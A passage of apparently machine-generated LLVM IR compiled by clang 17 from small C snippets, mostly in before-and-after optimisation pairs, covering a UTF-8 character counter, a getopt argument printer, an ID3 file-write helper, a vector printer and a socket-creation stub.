i32, ptr %3, align 4 ret i32 %14 } declare ptr @dtx_utf8_next_char(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpjpx82wt4.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @dtx_utf8_char_count(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 store ptr %0, ptr %2, align 8 store i32 0, ptr %3, align 4 %4 = load ptr, ptr %2, align 8 %5 = load i8, ptr %4, align 1 %6 = icmp ne i8 %5, 0 br i1 %6, label %.lr.ph, label %15 .lr.ph: ; preds = %1 br label %7 7: ; preds = %.lr.ph, %7 %8 = load i32, ptr %3, align 4 %9 = add nsw i32 %8, 1 store i32 %9, ptr %3, align 4 %10 = load ptr, ptr %2, align 8 %11 = call ptr @dtx_utf8_next_char(ptr noundef %10) store ptr %11, ptr %2, align 8 %12 = load ptr, ptr %2, align 8 %13 = load i8, ptr %12, align 1 %14 = icmp ne i8 %13, 0 br i1 %14, label %7, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %7 br label %15 15: ; preds = %._crit_edge, %1 %16 = load i32, ptr %3, align 4 ret i32 %16 } declare ptr @dtx_utf8_next_char(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpcu0eattk.c' source_filename = "/tmp/tmpcu0eattk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpcu0eattk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpu02e914r.c' source_filename = "/tmp/tmpu02e914r.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [7 x i8] c":if:lr\00", align 1 @.str.1 = private unnamed_addr constant [12 x i8] c"option: %c\0A\00", align 1 @.str.2 = private unnamed_addr constant [14 x i8] c"filename: %s\0A\00", align 1 @optarg = dso_local global ptr null, align 8 @.str.3 = private unnamed_addr constant [22 x i8] c"option needs a value\0A\00", align 1 @.str.4 = private unnamed_addr constant [20 x i8] c"unknown option: %c\0A\00", align 1 @optopt = dso_local global i32 0, align 4 @optind = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [14 x i8] c"argument: %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %7 = load i32, ptr %4, align 4 %8 = icmp slt i32 %7, 2 br i1 %8, label %9, label %15 9: ; preds = %2 %10 = load ptr, ptr %5, align 8 %11 = getelementptr inbounds ptr, ptr %10, i64 0 %12 = load ptr, ptr %11, align 8 %13 = call i32 @usage(ptr noundef %12) %14 = call i32 @exit(i32 noundef 1) #3 unreachable 15: ; preds = %2 br label %16 16: ; preds = %38, %15 %17 = load i32, ptr %4, align 4 %18 = load ptr, ptr %5, align 8 %19 = call i32 @getopt(i32 noundef %17, ptr noundef %18, ptr noundef @.str) store i32 %19, ptr %6, align 4 %20 = icmp ne i32 %19, -1 br i1 %20, label %21, label %39 21: ; preds = %16 %22 = load i32, ptr %6, align 4 switch i32 %22, label %38 [ i32 105, label %23 i32 108, label %23 i32 114, label %23 i32 102, label %26 i32 58, label %29 i32 63, label %31 ] 23: ; preds = %21, %21, %21 %24 = load i32, ptr %6, align 4 %25 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %24) br label %38 26: ; preds = %21 %27 = load ptr, ptr @optarg, align 8 %28 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %27) br label %38 29: ; preds = %21 %30 = call i32 (ptr, ...) @printf(ptr noundef @.str.3) br label %38 31: ; preds = %21 %32 = load i32, ptr @optopt, align 4 %33 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %32) %34 = load ptr, ptr %5, align 8 %35 = getelementptr inbounds ptr, ptr %34, i64 0 %36 = load ptr, ptr %35, align 8 %37 = call i32 @usage(ptr noundef %36) br label %38 38: ; preds = %21, %31, %29, %26, %23 br label %16, !llvm.loop !6 39: ; preds = %16 br label %40 40: ; preds = %51, %39 %41 = load i32, ptr @optind, align 4 %42 = load i32, ptr %4, align 4 %43 = icmp slt i32 %41, %42 br i1 %43, label %44, label %54 44: ; preds = %40 %45 = load ptr, ptr %5, align 8 %46 = load i32, ptr @optind, align 4 %47 = sext i32 %46 to i64 %48 = getelementptr inbounds ptr, ptr %45, i64 %47 %49 = load ptr, ptr %48, align 8 %50 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, ptr noundef %49) br label %51 51: ; preds = %44 %52 = load i32, ptr @optind, align 4 %53 = add nsw i32 %52, 1 store i32 %53, ptr @optind, align 4 br label %40, !llvm.loop !8 54: ; preds = %40 %55 = call i32 @exit(i32 noundef 0) #3 unreachable } declare i32 @usage(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpu02e914r.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [7 x i8] c":if:lr\00", align 1 @.str.1 = private unnamed_addr constant [12 x i8] c"option: %c\0A\00", align 1 @.str.2 = private unnamed_addr constant [14 x i8] c"filename: %s\0A\00", align 1 @optarg = dso_local global ptr null, align 8 @.str.3 = private unnamed_addr constant [22 x i8] c"option needs a value\0A\00", align 1 @.str.4 = private unnamed_addr constant [20 x i8] c"unknown option: %c\0A\00", align 1 @optopt = dso_local global i32 0, align 4 @optind = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [14 x i8] c"argument: %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %7 = load i32, ptr %4, align 4 %8 = icmp slt i32 %7, 2 br i1 %8, label %9, label %15 9: ; preds = %2 %10 = load ptr, ptr %5, align 8 %11 = getelementptr inbounds ptr, ptr %10, i64 0 %12 = load ptr, ptr %11, align 8 %13 = call i32 @usage(ptr noundef %12) %14 = call i32 @exit(i32 noundef 1) #3 unreachable 15: ; preds = %2 %16 = load i32, ptr %4, align 4 %17 = load ptr, ptr %5, align 8 %18 = call i32 @getopt(i32 noundef %16, ptr noundef %17, ptr noundef @.str) store i32 %18, ptr %6, align 4 %19 = icmp ne i32 %18, -1 br i1 %19, label %.lr.ph, label %42 .lr.ph: ; preds = %15 br label %20 20: ; preds = %.lr.ph, %37 %21 = load i32, ptr %6, align 4 switch i32 %21, label %37 [ i32 105, label %22 i32 108, label %22 i32 114, label %22 i32 102, label %25 i32 58, label %28 i32 63, label %30 ] 22: ; preds = %20, %20, %20 %23 = load i32, ptr %6, align 4 %24 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %23) br label %37 25: ; preds = %20 %26 = load ptr, ptr @optarg, align 8 %27 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %26) br label %37 28: ; preds = %20 %29 = call i32 (ptr, ...) @printf(ptr noundef @.str.3) br label %37 30: ; preds = %20 %31 = load i32, ptr @optopt, align 4 %32 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %31) %33 = load ptr, ptr %5, align 8 %34 = getelementptr inbounds ptr, ptr %33, i64 0 %35 = load ptr, ptr %34, align 8 %36 = call i32 @usage(ptr noundef %35) br label %37 37: ; preds = %30, %28, %25, %22, %20 %38 = load i32, ptr %4, align 4 %39 = load ptr, ptr %5, align 8 %40 = call i32 @getopt(i32 noundef %38, ptr noundef %39, ptr noundef @.str) store i32 %40, ptr %6, align 4 %41 = icmp ne i32 %40, -1 br i1 %41, label %20, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %37 br label %42 42: ; preds = %._crit_edge, %15 %43 = load i32, ptr @optind, align 4 %44 = load i32, ptr %4, align 4 %45 = icmp slt i32 %43, %44 br i1 %45, label %.lr.ph2, label %59 .lr.ph2: ; preds = %42 br label %46 46: ; preds = %.lr.ph2, %53 %47 = load ptr, ptr %5, align 8 %48 = load i32, ptr @optind, align 4 %49 = sext i32 %48 to i64 %50 = getelementptr inbounds ptr, ptr %47, i64 %49 %51 = load ptr, ptr %50, align 8 %52 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, ptr noundef %51) br label %53 53: ; preds = %46 %54 = load i32, ptr @optind, align 4 %55 = add nsw i32 %54, 1 store i32 %55, ptr @optind, align 4 %56 = load i32, ptr @optind, align 4 %57 = load i32, ptr %4, align 4 %58 = icmp slt i32 %56, %57 br i1 %58, label %46, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %53 br label %59 59: ; preds = %._crit_edge3, %42 %60 = call i32 @exit(i32 noundef 0) #3 unreachable } declare i32 @usage(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmpbmii614w.c' source_filename = "/tmp/tmpbmii614w.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [36 x i8] c"id3_write_file: Error writing to %s\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @id3_write_file(ptr noundef %0, i64 noundef %1, ptr noundef %2, ptr noundef %3) #0 { %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 %8 = alloca ptr, align 8 %9 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store i64 %1, ptr %7, align 8 store ptr %2, ptr %8, align 8 store ptr %3, ptr %9, align 8 %10 = load ptr, ptr %6, align 8 %11 = load i64, ptr %7, align 8 %12 = load ptr, ptr %8, align 8 %13 = call i32 @fwrite(ptr noundef %10, i64 noundef %11, i32 noundef 1, ptr noundef %12) %14 = icmp ne i32 %13, 1 br i1 %14, label %15, label %20 15: ; preds = %4 %16 = load ptr, ptr %9, align 8 %17 = call i32 @print_error(ptr noundef @.str, ptr noundef %16) %18 = load ptr, ptr %8, align 8 %19 = call i32 @fclose(ptr noundef %18) store i32 0, ptr %5, align 4 br label %32 20: ; preds = %4 %21 = load ptr, ptr %8, align 8 %22 = call i64 @ferror(ptr noundef %21) %23 = icmp ne i64 %22, 0 br i1 %23, label %24, label %31 24: ; preds = %20 %25 = load ptr, ptr %9, align 8 %26 = call i32 @print_error(ptr noundef @.str, ptr noundef %25) %27 = load ptr, ptr %8, align 8 %28 = call i32 @clearerr(ptr noundef %27) %29 = load ptr, ptr %8, align 8 %30 = call i32 @fclose(ptr noundef %29) store i32 0, ptr %5, align 4 br label %32 31: ; preds = %20 store i32 1, ptr %5, align 4 br label %32 32: ; preds = %31, %24, %15 %33 = load i32, ptr %5, align 4 ret i32 %33 } declare i32 @fwrite(ptr noundef, i64 noundef, i32 noundef, ptr noundef) #1 declare i32 @print_error(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 declare i64 @ferror(ptr noundef) #1 declare i32 @clearerr(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbmii614w.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [36 x i8] c"id3_write_file: Error writing to %s\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @id3_write_file(ptr noundef %0, i64 noundef %1, ptr noundef %2, ptr noundef %3) #0 { %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 %8 = alloca ptr, align 8 %9 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store i64 %1, ptr %7, align 8 store ptr %2, ptr %8, align 8 store ptr %3, ptr %9, align 8 %10 = load ptr, ptr %6, align 8 %11 = load i64, ptr %7, align 8 %12 = load ptr, ptr %8, align 8 %13 = call i32 @fwrite(ptr noundef %10, i64 noundef %11, i32 noundef 1, ptr noundef %12) %14 = icmp ne i32 %13, 1 br i1 %14, label %15, label %20 15: ; preds = %4 %16 = load ptr, ptr %9, align 8 %17 = call i32 @print_error(ptr noundef @.str, ptr noundef %16) %18 = load ptr, ptr %8, align 8 %19 = call i32 @fclose(ptr noundef %18) store i32 0, ptr %5, align 4 br label %32 20: ; preds = %4 %21 = load ptr, ptr %8, align 8 %22 = call i64 @ferror(ptr noundef %21) %23 = icmp ne i64 %22, 0 br i1 %23, label %24, label %31 24: ; preds = %20 %25 = load ptr, ptr %9, align 8 %26 = call i32 @print_error(ptr noundef @.str, ptr noundef %25) %27 = load ptr, ptr %8, align 8 %28 = call i32 @clearerr(ptr noundef %27) %29 = load ptr, ptr %8, align 8 %30 = call i32 @fclose(ptr noundef %29) store i32 0, ptr %5, align 4 br label %32 31: ; preds = %20 store i32 1, ptr %5, align 4 br label %32 32: ; preds = %31, %24, %15 %33 = load i32, ptr %5, align 4 ret i32 %33 } declare i32 @fwrite(ptr noundef, i64 noundef, i32 noundef, ptr noundef) #1 declare i32 @print_error(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 declare i64 @ferror(ptr noundef) #1 declare i32 @clearerr(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpewlvklaw.c' source_filename = "/tmp/tmpewlvklaw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"[ \00", align 1 @.str.1 = private unnamed_addr constant [5 x i8] c" %d \00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"]\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @vecIPrint(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 %6 = call i32 (ptr, ...) @printf(ptr noundef @.str) store i32 0, ptr %5, align 4 br label %7 7: ; preds = %18, %2 %8 = load i32, ptr %5, align 4 %9 = load i32, ptr %4, align 4 %10 = icmp ult i32 %8, %9 br i1 %10, label %11, label %21 11: ; preds = %7 %12 = load ptr, ptr %3, align 8 %13 = load i32, ptr %5, align 4 %14 = zext i32 %13 to i64 %15 = getelementptr inbounds i32, ptr %12, i64 %14 %16 = load i32, ptr %15, align 4 %17 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %16) br label %18 18: ; preds = %11 %19 = load i32, ptr %5, align 4 %20 = add i32 %19, 1 store i32 %20, ptr %5, align 4 br label %7, !llvm.loop !6 21: ; preds = %7 %22 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) ret void } declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpewlvklaw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"[ \00", align 1 @.str.1 = private unnamed_addr constant [5 x i8] c" %d \00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"]\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @vecIPrint(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 %6 = call i32 (ptr, ...) @printf(ptr noundef @.str) store i32 0, ptr %5, align 4 %7 = load i32, ptr %5, align 4 %8 = load i32, ptr %4, align 4 %9 = icmp ult i32 %7, %8 br i1 %9, label %.lr.ph, label %23 .lr.ph: ; preds = %2 br label %10 10: ; preds = %.lr.ph, %17 %11 = load ptr, ptr %3, align 8 %12 = load i32, ptr %5, align 4 %13 = zext i32 %12 to i64 %14 = getelementptr inbounds i32, ptr %11, i64 %13 %15 = load i32, ptr %14, align 4 %16 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %15) br label %17 17: ; preds = %10 %18 = load i32, ptr %5, align 4 %19 = add i32 %18, 1 store i32 %19, ptr %5, align 4 %20 = load i32, ptr %5, align 4 %21 = load i32, ptr %4, align 4 %22 = icmp ult i32 %20, %21 br i1 %22, label %10, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %17 br label %23 23: ; preds = %._crit_edge, %2 %24 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) ret void } declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp27l5eq7i.c' source_filename = "/tmp/tmp27l5eq7i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @AF_INET = dso_local global i32 0, align 4 @SOCK_STREAM = dso_local global i32 0, align 4 @IPPROTO_UDP = dso_local global i32 0, align 4 @EXIT_FAILURE = dso_local global i32 0, align 4 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 %3 = load i32, ptr @AF_INET, align 4 %4 = load i32, ptr @SOCK_STREAM, align 4 %5 = load i32, ptr @IPPROTO_UDP, align 4 %6 = call i32 @socket(i32 noundef %3, i32 noundef %4, i32 noundef %5) store i32 %6, ptr %2, align 4 %7 = icmp ne i32 %6, -1 br i1 %7, label %8, label %10 8: ; preds = %0 %9 = load i32, ptr @EXIT_FAILURE, align 4 store i32 %9, ptr %1, align 4 br label %12 10: ; preds = %0 %11 = load i32, ptr @EXIT_SUCCESS, align 4 store i32 %11, ptr %1, align 4 br label %12 12: ; preds = %10, %8 %13 = load i32, ptr %1, align 4 ret i32 %13 } declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp27l5eq7i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @AF_INET = dso_local global i32 0, align 4 @SOCK_STREAM = dso_local global i32 0, align 4 @IPPROTO_UDP = dso_local global i32 0, align 4 @EXIT_FAILURE = dso_local global i32 0, align 4 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 %3 = load i32, ptr @AF_INET, align 4 %4 = load i32, ptr @SOCK_STREAM, align 4 %5 = load i32, ptr @IPPROTO_UDP, align 4 %6 = call i32 @socket(i32 noundef %3, i32 noundef %4, i32 noundef %5) store i32 %6, ptr %2, align 4 %7 = icmp ne i32 %6, -1 br i1 %7, label %8, label %10 8: ; preds = %0 %9 = load i32, ptr @EXIT_FAILURE, align 4 store i32 %9, ptr %1, align 4 br label %12 10: ; preds = %0 %11 = load i32, ptr @EXIT_SUCCESS, align 4 store i32 %11, ptr %1, align 4 br label %12 12: 